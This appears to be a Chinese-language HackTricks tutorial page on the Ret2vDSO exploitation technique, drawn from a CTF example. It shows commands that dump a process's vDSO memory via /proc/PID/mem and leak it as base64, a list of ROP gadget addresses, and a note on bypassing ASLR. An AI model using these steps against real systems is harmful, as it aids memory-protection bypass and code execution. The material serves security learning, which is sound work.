# Ret2vDSO

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## 基本信息

vDSO区域中可能存在**gadgets**，用于从用户模式切换到内核模式。在这类挑战中，通常会提供一个内核镜像来转储vDSO区域。

根据<https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/>中的示例，可以看到如何转储vdso部分并将其移动到主机。

```bash
# Find addresses
cat /proc/76/maps
08048000-08049000 r--p 00000000 00:02 317                                /target
08049000-0804a000 r-xp 00001000 00:02 317                                /target
0804a000-0804b000 rw-p 00002000 00:02 317                                /target
f7ff8000-f7ffc000 r--p 00000000 00:00 0                                  [vvar]
f7ffc000-f7ffe000 r-xp 00000000 00:00 0                                  [vdso]
fffdd000-ffffe000 rw-p 00000000 00:00 0                                  [stack]

# Dump it
dd if=/proc/76/mem of=vdso bs=1 skip=$((0xf7ffc000)) count=$((0x2000))
8192+0 records in
8192+0 records out
8192 bytes (8.0KB) copied, 0.901154 seconds, 8.9KB/s

# Compress and leak it
gzip vdso
base64 vdso.gz

# Decompress and check of gadgets
echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'
```

找到的ROP gadgets:

```python
vdso_addr = 0xf7ffc000

int_0x80_xor_eax_eax_ret_addr = 0x8049010
bin_sh_addr = 0x804a800

# 0x0000057a : pop edx ; pop ecx ; ret
pop_edx_pop_ecx_ret_addr = vdso_addr + 0x57a

# 0x00000cca : mov dword ptr [edx], ecx ; add esp, 0x34 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
mov_dword_ptr_edx_ecx_ret_addr = vdso_addr + 0xcca

# 0x00000ccb : or al, byte ptr [ebx + 0x5e5b34c4] ; pop edi ; pop ebp ; ret
or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb

# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
```

{% hint style="danger" %}
因此请注意，如果内核使用CONFIG\_COMPAT\_VDSO编译，则可能通过滥用vdso来**绕过ASLR**，因为vdso地址不会被随机化：<https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639>
{% endhint %}

### ARM64

在kali 2023.2 arm64中转储并检查二进制文件的vdso部分后，我没有找到任何有趣的gadget（无法从堆栈中的值控制寄存器或控制x30以进行返回），**除了一种调用SROP的方法**。在页面的示例中查看更多信息：

{% content-ref url="/pages/F5i5Tm54yIL5OfTR6BkG" %}
[SROP - ARM64](/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
{% endcontent-ref %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

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* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
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